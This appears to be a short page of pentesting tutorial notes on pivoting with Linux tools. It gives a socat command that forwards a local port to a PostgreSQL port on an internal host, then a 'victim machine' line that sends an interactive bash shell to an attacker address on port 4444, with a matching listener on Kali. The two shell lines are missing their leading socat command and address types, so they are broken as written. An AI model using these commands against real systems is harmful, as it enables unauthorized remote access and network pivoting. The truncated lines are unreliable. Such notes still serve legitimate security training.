Port Forwarding with Linux Tools
https://www.ivoidwarranties.tech/posts/pentesting-tuts/pivoting/pivoting-basics/
19.1.2 - Port forwarding with socat
Running a port forward socat command (verbose, listening on 2345, forwarding traffic to 5432 on the target)
socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432
19.1.2 - Fully interactive shell
On victim machine
'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.49.71:4444
On Kali
`tty`,raw,echo=0 tcp-listen:4444